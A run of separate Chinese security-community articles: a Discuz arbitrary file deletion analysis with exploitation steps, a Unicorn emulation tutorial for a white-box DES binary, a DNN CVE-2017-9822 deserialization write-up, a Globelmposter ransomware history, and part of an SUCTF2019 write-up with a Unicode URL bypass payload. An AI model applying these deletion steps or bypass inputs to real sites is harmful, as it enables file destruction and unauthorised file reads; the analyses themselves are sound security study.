if((!empty($_FILES[$key]) && $_FILES[$key]['error'] == 0) || (!empty($space[$key]) && empty($_GET['deletefile'][$key]))) {
$value = '1';
} else {
$value = '';
}
}
if(empty($field)) {
continue;
} elseif(profile_check($key, $value, $space)) {
$setarr[$key] = dhtmlspecialchars(trim($value));
} else {
if($key=='birthprovince') {
$key = 'birthcity';
} elseif($key=='resideprovince' || $key=='residecommunity'||$key=='residedist') {
$key = 'residecity';
} elseif($key=='birthyear' || $key=='birthmonth') {
$key = 'birthday';
}
profile_showerror($key);
}
if($field['formtype'] == 'file') {
unset($setarr[$key]);
}
if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) {
if(isset($verifyinfo['field'][$key]) && $setarr[$key] !== $space[$key]) {
$verifyarr[$key] = $setarr[$key];
}
unset($setarr[$key]);
}
if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) {
if($setarr[$key] !== $space[$key]) {
$verifyarr[$key] = $setarr[$key];
}
unset($setarr[$key]);
}
}
if($_GET['deletefile'] && is_array($_GET['deletefile'])) {
foreach($_GET['deletefile'] as $key => $value) {
if(isset($_G['cache']['profilesetting'][$key])) {
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $setarr[$key] = '';
}
}
}
看到这里：
foreach($_POST as $key => $value):
其实这里可以联想到全局变量覆盖的问题，也就是通过这里来遍历外部的所有`POST`变量，然后将变量带入到下面的几处判断分支里面去，直到遍历完全部`$_POST`参数：
if(in_array($field['formtype'], array('text', 'textarea'))
if(in_array($key, $forumfield))
if($field['formtype'] == 'file’) //判断是否文件类型参数
if(empty($field)) //XSS过滤
if($field['formtype'] == 'file’) //判断是否文件类型参数
if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key]))
if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify'])
变更数据信息通过变量覆盖原始数据传入数据库来达到更新数据的目的，下面的代码就是对上传文件的参数进行操作了：
if($_FILES) {
$upload = new discuz_upload();
foreach($_FILES as $key => $file) {
if(!isset($_G['cache']['profilesetting'][$key])) {
continue;
}
$field = $_G['cache']['profilesetting'][$key];
if((!empty($file) && $file['error'] == 0) || (!empty($space[$key]) && empty($_GET['deletefile'][$key]))) {
$value = '1';
} else {
$value = '';
}
if(!profile_check($key, $value, $space)) {
profile_showerror($key);
} elseif($field['size'] && $field['size']*1024 < $file['size']) {
profile_showerror($key, lang('spacecp', 'filesize_lessthan').$field['size'].'KB');
}
$upload->init($file, 'profile');
$attach = $upload->attach;
if(!$upload->error()) {
$upload->save();
if(!$upload->get_image_info($attach['target'])) {
@unlink($attach['target']);
continue;
}
$setarr[$key] = '';
$attach['attachment'] = dhtmlspecialchars(trim($attach['attachment']));
if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) {
if(isset($verifyinfo['field'][$key])) {
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $attach['attachment'];
}
continue;
}
if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) {
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $attach['attachment'];
continue;
}
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
$setarr[$key] = $attach['attachment'];
}
}
}
这一块也是漏洞问题的触发点，详情在下面的漏洞分析中会分析，最终的SQL执行语句：
后面还有一个方法是password方法：
if($operation == 'password’) {
...
...
}
修改密码的模块，限于篇幅，不做过多的分析了。
### 0x03 漏洞分析
在说这个漏洞前，先说说14年Discuz的一个漏洞，也是任意文件操作漏洞，同样性质的漏洞，问题也是在`spacecp_profile.php`中出现的（毕竟新洞是继承了老洞的坑），从source/include/spacecp/spacecp_profile.php中可以看到这段代码，也就是结束了`foreach`循环操作后会对外部`$_GET`进来的`deletefile`进行处理：
if($_GET['deletefile'] && is_array($_GET['deletefile'])) {
foreach($_GET['deletefile'] as $key => $value) {
if(isset($_G['cache']['profilesetting'][$key])) {
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $setarr[$key] = '';
}
}
}
首先判断外部是否有`deletefile`数组，然后对`$_G['cache']['profilesetting'][$key]`进行判断，看里面是否有值，这里比较关键的地方是:
>`$_GET['deletefile'] as $key => $value`
这一步将外部指定的字段值给了`$key`值,比如外部是`deletefile[affectivestatus]=1`，那么`$key`值就是`affectivestatus`，
跟下去的`$space[$key]`就是数据库中个人资料的值(原始值)，带入到下面的`unlink`进行删除操作。
打印出来如下：
foreach($_GET['deletefile'] as $key => $value) {
if(isset($_G['cache']['profilesetting'][$key])) {
var_dump($_G['cache']['profilesetting'][$key]);
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
var_dump($space[$key]);
exit();
后来官方出的补丁是：
if($_GET['deletefile'] && is_array($_GET['deletefile'])) {
foreach($_GET['deletefile'] as $key => $value) {
if(isset($_G['cache']['profilesetting'][$key]) && $_G['cache']['profilesetting'][$key]['formtype'] == 'file')
{
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $setarr[$key] = '';
}
}
}
直接加了类型`(formtype)`判断，只要判断出用户表单里面的类型为`file`后才走下一步，之前`affectivestatus`类型为`text`：
但是开发只修复了这一个点，同一个文件里面的其他`unlink`方法并没有`Review`到其中存在的安全威胁，导致了又一个任意文件删除漏洞：
if(!$upload->error()) {
$upload->save();
if(!$upload->get_image_info($attach['target'])) {
@unlink($attach['target']);
continue;
}
$setarr[$key] = '';
$attach['attachment'] = dhtmlspecialchars(trim($attach['attachment']));
if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) {
if(isset($verifyinfo['field'][$key])) {
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $attach['attachment'];
}
continue;
}
if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) {
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $attach['attachment'];
continue;
}
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
$setarr[$key] = $attach['attachment'];
}
首先设置任意`POST`参数字段为你要删除的文件，然后再上传文件，网上很多是自己构造表单去上传文件，这里有个更简洁的方法，就是通过修改原始html表单的text参数为file后再上传就ok了。
保存截断跟踪参数走到
`@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);`
debug参数如下：
同样还是获取到了`affectivestatus`的原始值参数并且拼接到`unlink`后面去造成了任意文件删除漏洞。
### 0x04 总结
最新的修复方案是官方直接把这个模块的所有`unlink`函数给删掉，简单又粗暴，不过确实真的有效办法，从这两次的重复出现的漏洞点可以看出，开发是值得反思的，这其实是一个典型的案例，纵观现在的甲方企业安全建设也有同样的问题，当黑客只需通过某个脆弱点就能进入内网，安全部门的人在通知业务修复了这个脆弱点的同时是否还应该考虑一下其他的点是否也是外部攻击的脆弱点，业务在不懂安全开发的情况下安全工程师是否能够协助业务发现其他安全问题也是考量安全团队技术实力的指标。
参考：
<http://bobao.360.cn/learning/detail/4508.html>
<https://mp.weixin.qq.com/s/jZ4dh-Cseoe7i0ibNsANag>
<https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574> | 社区文章 |
# 侧信道攻击，从喊666到入门之——Unicorn的环境构建
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：backahasten
Unicorn可以模拟多种指令集的代码，在很多安全研究领域有很强大的作用，但是由于需要从头自己布置栈空间，代码段等虚拟执行环境，阻碍了他的使用，本文将会分析一个实例，并介绍Unicorn虚拟运行环境的构建。
本文的例子是一个白盒实现的DES算法，在riscrue的文章 _Unboxing the white box_
中介绍了白盒攻击的类侧信道和类错误注入方法，并用这个程序作为例子。在riscure的代码中，由于python2和3对于字符串和bytes关系的变化很大，代码基本不可用。让我们来从头分析这个程序并编写设计Unicorn的代码。
Unicorn虽然可以脱离平台执行，但是在程序虚拟运行环境的设计阶段，逆向甚至动态调试都是不可避免的，Unicorn的运行环境构建分为
* 代码与程序段加载
* 栈配置
* 特殊寄存器配置
* 外部调用patch
* Unicorn中调试
## 代码与程序段加载
在这个过程中，我们需要把代码像正常程序加载一样放进我们的虚拟内存中，一般的步骤是，首先实例化一个CPU对象出来：
mu =Uc(UC_ARCH_X86, UC_MODE_32)
上面这句话就是实例化了一个x86架构32位的CPU出来，之后就可以开始代码的加载和其他初始化（其他架构的配置请参考Unicorn官方文档）。代码段的加载以及接下来内存栈的初始化都可以使用如下的模板：
mu.mem_map(address, size) #分配一个内存空间，起始地址位address，大小为size
mu.mem_write(address, data) #在内存地址为address的位置存入data
首先进行代码段的载入，我们需要扫描ELF文件，根据程序头找到其中的代码段并进行加载。
elf =ELFFile(open("./wbDES",'rb'))
for seg in elf.iter_segments():
if seg.header.p_type =="PT_LOAD":
data =seg.data()
mapsz =PAGE_SIZE*int((len(data) +PAGE_SIZE)/PAGE_SIZE)
addr =seg.header.p_vaddr -(seg.header.p_vaddr %PAGE_SIZE)
mu.mem_map(addr, mapsz)
mu.mem_write(seg.header.p_vaddr, data)
在进行内存分配的时候，要注意对齐，按内存页的最小值倍数进行分配。
## 栈配置
接下来需要对栈开始配置，在开始配置栈之前，我们需要动态调试确定一下指定函数调用之前，栈里有什么东西。使用gdb对`main`函数进行调试，在main函数的开始处
`0x80484c4` 设置断点并输入参数，启动GDB：
我们可以看出，main函数的栈结构是这样的：
地址 | 数值 | 内容 | 备注
---|---|---|---
0xffffce8c——(esp) | 0xf7c29637 | RET |
0xffffce90——(esp+4) | 9 | argc |
0xffffce94——(esp+8) | 0xffffcf24 | argv | 传入指针
我们继续查看0xffffcf24的内容
pwndbg> x/16sx 0xffffcf24
0xffffcf24: 0xffffd125 0xffffd137 0xffffd13a 0xffffd13d
0xffffcf34: 0xffffd140 0xffffd143 0xffffd146 0xffffd149
0xffffcf44: 0xffffd14c 0x00000000 0xffffd14f 0xffffd15a
0xffffcf54: 0xffffd16c 0xffffd19a 0xffffd1b0 0xffffd1bf
继续查看0xffffd125的内容，发现
pwndbg> x/16wx 0xffffd125
0xffffd125: 0x6d6f682f 0x696d2f65 0x2f62772f 0x45446277
0xffffd135: 0x32310053 0x00343300 0x37003635 0x62610038
0xffffd145: 0x00646300 0x31006665 0x44580066 0x54565f47
0xffffd155: 0x373d524e 0x47445800 0x5345535f 0x4e4f4953
如果不够直观，可以选择打印字符串。
pwndbg> x/10s 0xffffd125
0xffffd125: "/home/mi/wb/wbDES"
0xffffd137: "12"
0xffffd13a: "34"
0xffffd13d: "56"
0xffffd140: "78"
0xffffd143: "ab"
0xffffd146: "cd"
0xffffd149: "ef"
0xffffd14c: "1f"
0xffffd14f: "XDG_VTNR=7"
到目前为止，我们可以确定栈空间是什么样子的
首先，main函数有两个参数，一个是`argc`为`9`，另一个是一个指针，指向一个指针数组，指针数组的第一个指针指向的是字符串`"/home/mi/wb/wbDES"`，第二个指向`”12“`，第三个指向`”34“`以此类推。
接下来，根据分析所得的信息，开始进行栈空间参数的构建。
首先，先申请一段栈空间
STACK = 0xbfff0000
STACK_SIZE = 0x10000
mu.mem_map(STACK, STACK_SIZE)
栈的开始地址选择除了0x0附近之外的什么地方都可以，满足对齐即可，大小尽量大一些。
SP = STACK +STACK_SIZE - 0x800
之后设置SP指针的位置，由于栈是向低地址增长的，所以我们有0x800大小的空间可以部署那些字符串参数。
mu.reg_write(UC_X86_REG_ESP, SP)
mu.reg_write(UC_X86_REG_EBP, SP)
设置ESP指针，有上图可知，EBP指针为0，表示函数中没有用到EBP寻址，为了安全起见设置程和ESP一样。
接下来开始布置值字符串，代码如下：
start =0x100
a = "./wbDESx00"
mu.mem_write(SP+start, a.encode())
argv =[SP+start]
start +=8
for i in range(8):
argv.append(SP+start)
mu.mem_write(SP+start, b'ab')
start +=2
mu.mem_write(SP+start, bytes('x00','utf-8'))
start +=1
之后开始布置指针数组：
i =0
for arg in argv:
mu.mem_write(SP+0x200+i*4, p32(arg))
i +=1
# NULL
mu.mem_write(SP+0x200+i*4, p32(0))
最后开始布置函数参数那个区域的栈：
RET = STACK
mu.mem_write(SP+0x0, p32(RET)) # Return address @ sp
mu.mem_write(SP+0x04, p32(len(argv))) # argc
mu.mem_write(SP+0x08, p32(SP +0x200)) # argv
把返回地址写为栈顶的意义在于，在我们启动unicorn的时候，需要传入程序开始执行的位置和终止的位置，这样写实际上就是让函数返回到栈里，之后把栈顶的指针设置成结束位置，就不用去找函数终止的位置了。
## Unicorn中调试
配置好了栈空间之后，我们还要看一下自己的配置对不对，和调试器中的值进行对比。可以使用：
print(mu.mem_read(SP+0x100,64).hex())
打印出SP+0x100位置64个字节的值，与GDB进行对比。
现在我们来分别对比一下三个位置布置的对不对。
print(mu.mem_read(SP+0x100,64).hex())#字符串
print(mu.mem_read(SP+0x200,64).hex())#数组指针
print(mu.mem_read(SP,64).hex()) #main参数
对应得到：
2e2f7762444553006162006162006162006162006162006162006162006162000000000000000000000000000000000000000000000000000000000000000000 #字符串
00f9ffbf08f9ffbf0bf9ffbf0ef9ffbf11f9ffbf14f9ffbf17f9ffbf1af9ffbf1df9ffbf00000000000000000000000000000000000000000000000000000000 #数组指针
0000ffbf0900000000faffbf00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 #main参数
pwndbg> x/80xb 0xffffce8c
0xffffce8c: 0x37 0x96 0xc2 0xf7 0x09 0x00 0x00 0x00
0xffffce94: 0x24 0xcf 0xff 0xff 0x4c 0xcf 0xff 0xff
0xffffce9c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffcea4: 0x00 0x00 0x00 0x00 0x00 0x30 0xdc 0xf7
0xffffceac: 0x04 0xdc 0xff 0xf7 0x00 0xd0 0xff 0xf7
0xffffceb4: 0x00 0x00 0x00 0x00 0x00 0x30 0xdc 0xf7
0xffffcebc: 0x00 0x30 0xdc 0xf7 0x00 0x00 0x00 0x00
0xffffcec4: 0x67 0x1b 0x4d 0xc1 0x77 0xd5 0xfb 0xbb
0xffffcecc: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffced4: 0x00 0x00 0x00 0x00 0x09 0x00 0x00 0x00
#0000ffbf0900000000faffbf00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
pwndbg> x/80xb 0xffffcf24
0xffffcf24: 0x25 0xd1 0xff 0xff 0x37 0xd1 0xff 0xff
0xffffcf2c: 0x3a 0xd1 0xff 0xff 0x3d 0xd1 0xff 0xff
0xffffcf34: 0x40 0xd1 0xff 0xff 0x43 0xd1 0xff 0xff
0xffffcf3c: 0x46 0xd1 0xff 0xff 0x49 0xd1 0xff 0xff
0xffffcf44: 0x4c 0xd1 0xff 0xff 0x00 0x00 0x00 0x00
0xffffcf4c: 0x4f 0xd1 0xff 0xff 0x5a 0xd1 0xff 0xff
0xffffcf54: 0x6c 0xd1 0xff 0xff 0x9a 0xd1 0xff 0xff
0xffffcf5c: 0xb0 0xd1 0xff 0xff 0xbf 0xd1 0xff 0xff
0xffffcf64: 0xfd 0xd1 0xff 0xff 0x2c 0xd2 0xff 0xff
0xffffcf6c: 0x4e 0xd2 0xff 0xff 0x5f 0xd2 0xff 0xff
#00f9ffbf08f9ffbf0bf9ffbf0ef9ffbf11f9ffbf14f9ffbf17f9ffbf1af9ffbf1df9ffbf00000000000000000000000000000000000000000000000000000000
pwndbg> x/80xb 0xffffd125
0xffffd125: 0x2f 0x68 0x6f 0x6d 0x65 0x2f 0x6d 0x69
0xffffd12d: 0x2f 0x77 0x62 0x2f 0x77 0x62 0x44 0x45
0xffffd135: 0x53 0x00 0x31 0x32 0x00 0x33 0x34 0x00
0xffffd13d: 0x35 0x36 0x00 0x37 0x38 0x00 0x61 0x62
0xffffd145: 0x00 0x63 0x64 0x00 0x65 0x66 0x00 0x31
0xffffd14d: 0x66 0x00 0x58 0x44 0x47 0x5f 0x56 0x54
0xffffd155: 0x4e 0x52 0x3d 0x37 0x00 0x58 0x44 0x47
0xffffd15d: 0x5f 0x53 0x45 0x53 0x53 0x49 0x4f 0x4e
0xffffd165: 0x5f 0x49 0x44 0x3d 0x63 0x32 0x00 0x58
0xffffd16d: 0x44 0x47 0x5f 0x47 0x52 0x45 0x45 0x54
#2e2f7762444553006162006162006162006162006162006162006162006162000000000000000000000000000000000000000000000000000000000000000000
对比之后发现正确，如果不正确，需要更改代码进行微调。
接下来，我们需要设置一个调试hook，该hook函数的callback会在每句指令执行之前执行，便于我们发现问题。
def hook_code(mu, address, size, user_data):
print('>>> Tracing instruction at 0x%x, instruction size = 0x%x' %(address, size))
之后注册hook：
mu.hook_add(UC_HOOK_CODE, hook_code)
开始执行：
mu.emu_start(entry, RET)
很不幸，程序挂了，Unicorn给出里一个读取未分配空间的异常：
因为我们有调试，可以发现这个位置是在执行到0x80484e1的时候发生的，我们看下这个地址是什么指令。
发现是有关gs:0x14的操作，这个指令应该是栈cookie的操作，我们没分配的寄存器unicorn默认为0，所以我们需要在0x0空间给gs分配一个空间，这句话就可以跑过去了。
mu.mem_map(0, 0x1000)
之后再运行：
发现程序好像跑飞了，往上翻，找到：
下断点调试，发现是跑到外部函数调用上去了：
分析之后发现，在main函数中有两处外部函数调用，我们直接patch掉他们的plt，让他们直接返回。
mu.mem_write(0x80483BC, bytes('xc3','utf-8'))
mu.mem_write(0x80483EC, bytes('xc3','utf-8'))
之后再运行就没有问题了。
我还针对栈的读取设置了hook，每次内存的写地址都会被记录，得到如下的图：
可以清楚的发现DES算法的轮结构，unicorn的调教到此完成，为下一步的研究做准备。
## 参考
[1]<https://www.riscure.com/publication/unboxing-white-box/>
[2]<https://www.unicorn-engine.org/>
[3]<http://www.whiteboxcrypto.com/challenges.php>
PS：小米安全中心：<https://sec.xiaomi.com/>
查看更多文章可关注小米安全中心公众号: | 社区文章 |
作者：[k1n9 &
RickyHao@360CERT](https://cert.360.cn/warning/detail?id=e689288863456481733e01b093c986b6)
#### 0x00 背景介绍
_DNN uses web cookies to identify users. A malicioususer can decode one of
such cookies and identify who that user is, and possiblyimpersonate other
users and even upload malicious code to the server._ _
\--DNNsecurity-center
_
2017年7月5日，DNN 安全板块发布了一个编号 CVE-2017-9822 的严重漏洞，随后漏洞报告者 Alvaro Muñoz
(@pwntester) 和 OleksandrMirosh 在 BlackHat USA 2017 上披露了其中的一些细节。
360CERT 跟进分析了该漏洞及其在 .net 中使用 XmlSerializer 进行序列化/反序列化的攻击利用场景，确认为严重漏洞。
#### 0x01 漏洞概述
DNNPersonalization 是一个在 DNN 中是用于存放未登录用户的个人数据的 Cookie，该 Cookie
可以被攻击者修改从而实现对服务器任意文件上传，远程代码执行等攻击。
#### 0x02 漏洞攻击面影响
###### 1.影响面
漏洞等级： **严重**
据称，全球有超过 75 万的用户在使用 DNN 来搭建他们的网站，影响范围大。
###### 2.影响版本
从 5.0.0 到 9.1.0 的所有版本
###### 3.修复版本
DNN Platform 9.1.1 和 EVOQ 9.1.1
#### 0x03 漏洞详情
###### 1、漏洞代码
`PersonalizationController.cs66-72` 行：
从 Cookie 中获取到 `DNNPersonalization` 的值后再传给 Globals 中的 `DeserializeHashTableXml`
方法。
`Globals.cs 3687-3690` 行：
再跟进 XmlUtils 中的 `DeSerializeHashtable` 方法。
`XmlUtils.cs 184-218` 行：
该方法会使用 item 元素中的 type 属性值来设置类型，并且会在 208
行这里将该元素的内容进行反序列化，这里便是漏洞的触发点了。漏洞代码中从可控输入点到最终可利用处的这个过程还是比较直观的，接下来是针对像这样使用了
XmlSerializer 来反序列化的漏洞点进行攻击利用分析。
#### 0x04 攻击利用分析
###### 1、XmlSerializer 的使用
在对一个类进行序列化或者反序列化的时候都需要传入该类的类型信息。看下生成的序列化数据形式：
就是一个 XML 文档，类名和成员变量都是元素来表示。
###### 2、利用链的构造
修改下上面的 TestClass 类，对其中的成员变量 test 进行封装。
这时候再去观察代码在反序列化时的输出，可以明显知道 setter 被自动调用了，因此 setter
便可以作为利用链的第一步。接下来就是要去找一些可以被用作攻击使用的类了。
`System.Windows.Data.ObjectDataProvider` 可以调用任意在运行时被引用的类的任意方法。一个例子：
相当于调用了 `TestClass.FuncExample(“JustATest!”)`，ObjectDataProvider
中的成员变量都进行了封装的，并且每次调用了 setter 后都会检测参数是否足够，足够了的话便会自动去调用传入的方法。其中的过程借用 BlackHat
议题中的一张图来展示。
如此一来要是被序列化的是一个 ObjectDataProvider
类，那么在反序列的时候便可以做到任意方法调用的效果。再找一个存在能达到想要的利用效果的方法的类就行了，例如 DNN
中的就存在一个可以做到任意文件上传效果的类，`DotNetNuke.Common.Utilities.FileSystemUtils` 中的
PullFile 方法：
###### 3、Payload生成
要生成 payload 还有一点问题需要解决，就是 ObjectDataProvider 包含一个 System.Object
成员变量（objectInstance），执行的时候 XmlSerializer 不知道这个变量具体的类型，导致没法序列化。但是这个问题可以通过使用
ExpandedWrapper 扩展属性的类型来解决。
生成的内容如下：
DNN 是通过获取 item 的属性 type 的值，然后调用 `Type.GetType`
来得到序列化数据的类型再进行反序列化。这样的话需要加上相应的程序集的名称才行，可以通过下面的代码得到 type 的值：
结合DNN的代码生成最终的Payload:
#### 0x05 漏洞利用验证
将漏洞触发点所在 `DeSerializeHashtable` 函数放到本地来做一个漏洞利用验证。
再看服务器端，可以看到漏洞利用成功。
#### 0x06 修复建议
360CERT建议升级到最新的版本DNNPlatform 9.1.1或者EVOQ 9.1.1。
#### 0x07 时间轴
2017-7-5 官方发布安全公告并提供修复更新 2017-8-2 360CERT完成对漏洞的分析并形成报告
#### 0x08 参考文档
https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
* * * | 社区文章 |
# Globelmposter勒索病毒发展史
##### 译文声明
本文是翻译文章，文章原作者 安全分析与研究，文章来源：安全分析与研究
原文地址：<https://mp.weixin.qq.com/s/7oDHi2b8sqNv-sSjn8nDCQ>
译文仅供参考，具体内容表达以及含义原文为准。
Globelmposter勒索病毒首次出现是在2017年5月份，主要通过钓鱼邮件进行传播，2018年2月国内各大医院爆发Globelmposter变种样本2.0版本，通过溯源分析发现此勒索病毒可能是通过RDP爆破、社会工程等方式进行传播，此勒索病毒后期版本采用RSA2048加密算法，导致加密后的文件无法解密
微信上有朋友找到我说中了勒索病毒，寻找相应的帮助
勒索病毒相关的截图信息，如下所示：
加密后的文件后缀名为:Aphrodite865qq，如下所示：
勒索提示信息文件为HOW TO BACK YOUR FILES.exe，内容如下所示：
黑客的邮箱地址：
[[email protected]](mailto:[email protected])
由于需要解密，后面朋友给黑客发了解密请求邮件，黑客直接要价1BTC，太黑了
现在的黑客都这么黑了，上次一个朋友被索要价值4万美金的BTC……
通过分析，判断此勒索病毒应该是Globelmposter最新的一款变种样本，也就是Globelmposter十二主神的最新版本，这个最新的变种在每个加密的文件目录下生成勒索提示信息程序HOW
TO BACK YOUR
FILES.exe，Globelmposter勒索病毒是今年全球十大活跃勒索病毒之一，过去的两年多时间里出现过各种不同的版本,加密后的文件后缀名高达一百多种，我们来看看Globelmposter各个不同版本的发展过程，以及加密后的文件后缀名都有哪些
2017年5月份，Globelmposter勒索病毒首次被发现，此勒索病毒版本为1.0，这个版本的勒索病毒好像是可以解密的
2018年2月，Globelmposter2.0版本出现，并且横扫国内各大医院，导致国内多家医院系统无法正常使用，此勒索病毒2.0版本使用的加密后缀名列表，如下：
TRUE、FREEMAN、CHAK、TECHNO、DOC、ALC0、ALC02、ALC03、RESERVE、GRANNY、BUNNY+、BIG、ARA、WALKER、XX、BONUM、DONALD、FOST、GLAD、GORO、MIXI、RECT、SKUNK、SCORP、TRUMP、PLIN等
2018年4月，Globelmposter2.0版本出现多个变种版本，加密后缀名列表，如下：
{[[email protected]](mailto:[email protected])}VC、{[[email protected]](mailto:[email protected])}ROCK
{[[email protected]](mailto:[email protected])}GUN、{[[email protected]](mailto:[email protected])}XX
{[[email protected]](mailto:[email protected])}.BRT92、[i-[[email protected]](mailto:[email protected])].rose、
[[[email protected]](mailto:[email protected])].ransom、[[[email protected]](mailto:[email protected])]_com
{[[email protected]](mailto:[email protected])}BIT、{[[email protected]](mailto:[email protected])}BIT
{[[email protected]](mailto:[email protected])}.AK47、{[[email protected]](mailto:[email protected])}BIT
{[[email protected]](mailto:[email protected])}BIT、{[[email protected]](mailto:[email protected])}.AK47
{[[email protected]](mailto:[email protected])}BIT
Globelmposter2.0是Globelmposter家族中最活跃的版本之一，到目前为止仍然还有很多Globelmposter2.0的变种样本出现，Globelmposter2.0变种样本，加密后缀名列表，如下：
{[[email protected]](mailto:[email protected])}ZT
[[email protected]](mailto:[email protected])}KSR
{[[email protected]](mailto:[email protected])}CMG
{[[email protected]](mailto:[email protected])}KBK
2018年8月份出现此勒索病毒“十二生肖”版，加密后缀采用“十二生肖英文名+4444”,加密后缀名列表如下：
Ox4444、Snake4444、Rat4444、
Tiger4444、Rabbit4444、Dragon4444、
Horse4444、Goat4444 、Monkey4444 、
Rooster4444 、Dog4444 、Pig4444
2019年3月，此勒索病毒出现几款新的变种样本，加密后缀名列表为：
auchentoshan、makkonahi
2019年7月份出现此勒索病毒“十二主神”版，加密后缀采用“希腊神话十二主神+666”，加密后缀名列表如下：
Ares666、Zeus666、Aphrodite666、
Apollon666、Poseidon666、Artemis666、
Dionysus666、Hades666、Persephone666、
Hephaestus666、Hestia666、Athena666
2019年8月，此勒索病毒“十二主神”版，出现新的变种，加密后缀采用“希腊神话十二主神+865”，加密后缀名列表如下：
Ares865、Zeus865、Aphrodite865、
Apollon865、Poseidon865、Artemis865、
Dionysus865、Hades865、Persephone865、
Hephaestus865、Hestia865、Athena865
2019年9月，此勒索病毒“十二主神”版，出现新的变种，加密后缀采用“希腊神话十二主神+865-20”，加密后缀名列表如下：
Ares865-20、Zeus865-20、Aphrodite865-20、
Apollon865-20、Poseidon865-20、Artemis865-20、
Dionysus865-20、Hades865-20、Persephone865-20、
Hephaestus865-20、Hestia865-20、Athena865-20
2019年10月，此勒索病毒“十二主神”版，再次升级，加密后缀采用“希腊神话十二主神+865qq”，加密后缀名列表如下：
Ares865qq、Zeus865qq、Aphrodite865qq、
Apollon865qq、Poseidon865qq、Artemis865qq、
Dionysus865qq、Hades865qq、Persephone865qq、
Hephaestus865qq、Hestia865qq、Athena865qq
以“希腊神话十二主神+865qq”为加密文件后缀的Globelmposter勒索病毒的最新变种版本，后面一定还会发现它的新的版本，这款勒索病毒在全球都非常活跃，根据国外相关的报道指出，这款勒索病毒主要针对东南亚一些国家进行勒索攻击，其中主要包含中国，印度等国家
针对企业的勒索病毒攻击越来越多了，而且攻击手法越来越复杂，具有很强的针对性，旧的勒索病毒不断变种，新型的勒索病毒不断出现，全球每天都有勒索病毒的变种被发现，同时每天都有不同的企业被勒索病毒攻击，真的是数不甚数，随着BTC等虚拟货币的流行，未来勒索病毒的攻击还会持续增多，而且后面可能会慢慢转向针对不同的平台进行攻击，勒索病毒已经成为了全球网络安全最大的威胁
本文转自：[安全分析与研究](https://mp.weixin.qq.com/s/7oDHi2b8sqNv-sSjn8nDCQ) | 社区文章 |
## 前言
前段时间打的SUCTF2019中有一个题目叫Pythongin思路大概来源于黑帽大会
<https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf>
不怎么明白漏洞的原理，就准备复现一下，在复现的过程中出现了很多坑，来记录一下。
## 踩坑过程
整个SUCTF2019的源码都已经开源了，地址如下
<https://github.com/team-su/SUCTF-2019>
具体题目的分析过程就不再赘述了，感觉师傅们分析的一个比一个详细,我在文末也放了几个师傅的分析的writeup
搭建好docker的环境，直接按照文档中的命令可以直接复现成功
docker build -t dockerflask .
docker run -p 3000:80 dockerflask
open http://localhost:3000
然后按照题目的payload可以直接复现成功
然而问题来了，我比较懒，我是直接把文件放到了我的sublime 然后，使用一个官方的payload
居然没有打成功怀疑是我的环境和编辑器的编码出现了问题，然后放到我的WSL系统里面运行（这里说一句题外话，最近刚刚给自己的电脑安装了WSL
win下的ubuntu，感觉很好用 ，想用linux的时候不必再去开虚拟机了）大家可以去尝试一下，同时也顺便美化一下自己的终端。
再win下的环境是
在linux下的环境是
/mnt/d/CTF/SUCTF python3
Python 3.6.8 (default, Jan 14 2019, 11:02:34)
[GCC 8.0.1 20180414 (experimental) [trunk revision 259383]] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>
在win下的环境是
C:\Users\11466>python3
Python 3.7.3 (v3.7.3:ef4ec6ed12, Mar 25 2019, 22:22:05) [MSC v.1916 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>>
可以看版本不一样，同时python最后更新的时间也不一样问题就出现在这里了。
对源码做出的简单的修改，用来测试payload
def getUrl2(url):
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return "success"
else:
return "我扌 your problem? 333"
if __name__=="__main__":
# get_unicode()
# try:
# print_unicode()
# except:
# print("something_error")
url = "file://suctf.c℆sr%2ffffffflag @111"
